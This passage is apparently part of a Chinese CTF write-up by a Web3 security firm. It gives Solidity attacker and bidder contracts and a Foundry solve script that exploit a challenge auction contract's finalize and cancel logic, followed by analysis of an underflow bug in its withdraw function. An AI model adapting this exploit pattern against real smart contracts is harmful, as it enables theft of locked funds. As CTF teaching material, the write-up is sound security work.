        // commit and encrypted        Math.Point memory commonPoint = Math.mul(0xbabe, point1);        require(commonPoint.x != 1 || commonPoint.y != 1, "common point is not correct");        bytes32 message = auctionManager.genMessage(10000 * 1e6, bytes16(0x0));        Math.Point memory tmpPoint;        bytes32 encrypted;        Math.Point memory point = Math.publicKey(0xbabe);        (tmpPoint, encrypted) = Math.encrypt(point, 0xabcd, message);        bytes32 decrypted = Math.decrypt(commonPoint, encrypted);        bytes32 commit = keccak256(abi.encode(decrypted));        uint128 amountQuote = 10000 * 1e6;
        quoteToken.approve(address(auctionManager), type(uint128).max);        auctionManager.addBid(1, amountQuote, commit, tmpPoint, encrypted, proofs);        return decrypted;    }
    // cancel bid    function bidCancel() external {        auctionManager.bidCancel(1, 0);    }}

contract Attack {    using FixedPointMathLib for uint128;    using SafeTransferLib for ERC20;
    address public challengeAddr = xxx;    Challenge public challenge = Challenge(challengeAddr);    AuctionManager public auctionManager = challenge.auction();    ERC20 public baseToken = challenge.quoteToken();    ERC20 public quoteToken = challenge.quoteToken();    Bidder bidder;
    constructor(Bidder _bidder) {        baseToken.approve(address(auctionManager), type(uint128).max);        bidder = _bidder;    }
    // create an auction    function create() external {        bytes32[] memory leafsTmp = new bytes32[](2);        leafsTmp[0] = keccak256(abi.encodePacked(address(bidder)));        leafsTmp[1] = keccak256(abi.encodePacked(address(bidder)));        bytes32 merkle = keccak256(abi.encodePacked(address(bidder)));        Math.Point memory point = Math.publicKey(0xbabe);        AuctionManager.AuctionParameters memory auctionParams = AuctionManager.AuctionParameters({            tokenBase: address(baseToken),            tokenQuote: address(quoteToken),            resQuoteBase: 0,            totalBase: 10000 * 1e6,            minBid: 60 ether / type(uint128).max,            merkle: merkle,            publicKey: point        });
        AuctionManager.Time memory time = AuctionManager.Time({            start: uint32(block.timestamp),            end: uint32(block.timestamp + 10),            startVesting: uint32(block.timestamp + 10),            endVesting: uint32(block.timestamp + 20),            cliff: 1e17        });
        baseToken.approve(address(auctionManager), type(uint128).max);        auctionManager.create(auctionParams, time);
    }
    // finalize an auction    function show(bytes32 decrypted) external {        uint256[] memory indices = new uint256[](1);        indices[0] = 0;        uint128 amountBase = uint128(uint256(decrypted >> 128));        uint256 quotePerBase = amountBase.mulDivDown(type(uint128).max, amountBase);        uint128 quote = type(uint128).max;        uint128 base = type(uint128).max;        bytes memory data = abi.encode(indices, base, quote);        auctionManager.show(1, 0xbabe, data);    }
    // cancel auction    function cancel() external {        auctionManager.auctionCancel(1);    }}

解题脚本如下：

contract Solve is Script {    using FixedPointMathLib for uint128;    using SafeTransferLib for ERC20;
    function run() public {        vm.startBroadcast();        address challengeAddr = xxx;        Challenge challenge = Challenge(challengeAddr);        AuctionManager auctionManager = challenge.auction();        ERC20 baseToken = challenge.quoteToken();        ERC20 quoteToken = challenge.quoteToken();
        // 第一笔交易，拍卖者发起拍卖，竞拍者参与竞标        Bidder bidder = new Bidder();        Attack attack = new Attack(bidder);        quoteToken.transfer(address(attack), 10000 * 1e6);        quoteToken.transfer(address(bidder), 10000 * 1e6);
        console.log("address(attack)", address(attack));        console.log("address(bidder)", address(bidder));
        attack.create();        bytes32 decrypted = bidder.bid();        console.log("decrypted");        console.logBytes32(decrypted);
        // 第二笔交易，给任意一个地址转账，推进时间戳，因为只有到了设定的拍卖结束的时间，才能finalize拍卖        baseToken.transfer(vm.addr(0xcaca), 1 ether);              // 第三笔交易，依次完成finalize拍卖、删除拍卖、删除竞标的操作        address attackAddr = xxx;        address bidderAddr = xxx;        bytes32 decrypted = 0x000000000000000000000002540be40000000000000000000000000000000000;
        Attack(attackAddr).show(decrypted);        Attack(attackAddr).cancel();        Bidder(bidderAddr).bidCancel();              uint256 auctBalance = baseToken.balanceOf(address(auctionManager));        console.log("auctBalance", auctBalance);
        vm.stopBroadcast();
    }
}

在题目中我们发现，就算竞拍成功了，竞拍者也没法取回未使用的 quoteToken，因为在给竞拍者转剩余的 quoteToken 时，转的数量是 bid.amountQuote - quoteBought，而 bid.amountQuote 在上一步被置为了 0，那这个地方除非 quoteBought 是 0，否则就溢出了，交易执行失败。而 quoteBought 通常来说不是 0。那么这个地方是出题者有意而为之，还是无心之失呢？

function withdraw(uint256 id, uint256 index) external checkState(States.Final, auctions[id]) {    Auction storage auction = auctions[id];    BidEncrypted storage bid = auction.bids[index];    if (msg.sender != bid.sender) revert();
    uint128 amountBase = bid.baseAmountFilled;
    if (0 == amountBase) revert();    uint128 baseAvailable = tokensAvailableForWithdrawal(id, amountBase);
    baseAvailable = baseAvailable - bid.baseExtracted;    bid.baseExtracted += baseAvailable;
    if (bid.amountQuote != 0) {        uint256 quoteBought = amountBase.mulDivDown(auction.data.quoteLowest, auction.data.baseLowest);        bid.amountQuote = 0;
        ERC20(auction.parameters.tokenQuote).safeTransfer(msg.sender, bid.amountQuote - quoteBought);    }
    ERC20(auction.parameters.tokenBase).safeTransfer(msg.sender, baseAvailable);}

END

关于我们 About Us

ZAN 是蚂蚁数科旗下新科技品牌。依托 AntChain Open Labs 的 TrustBase 开源开放技术体系，拥有 Web3 领域独特的优势和创新能力，为 Web3 社区提供可靠、高性价比的区块链应用开发技术产品和服务。

凭借 AntChain Open Labs 的技术支持，ZAN 为企业和开发者提供了全面的技术产品和服务，其中包括智能合约审计（ZAN Smart Contract Review）、身份验证eKYC（ZAN Identity）、交易风控技术（ZAN Know Your Transaction）以及节点服务（ZAN Node Service）等。

通过 ZAN 的一站式解决方案，用户可以享受到全方位的 Web3 技术支持。

ZAN Website：https://zan.top/home/partner/wxdyh

联系我们 Contact Us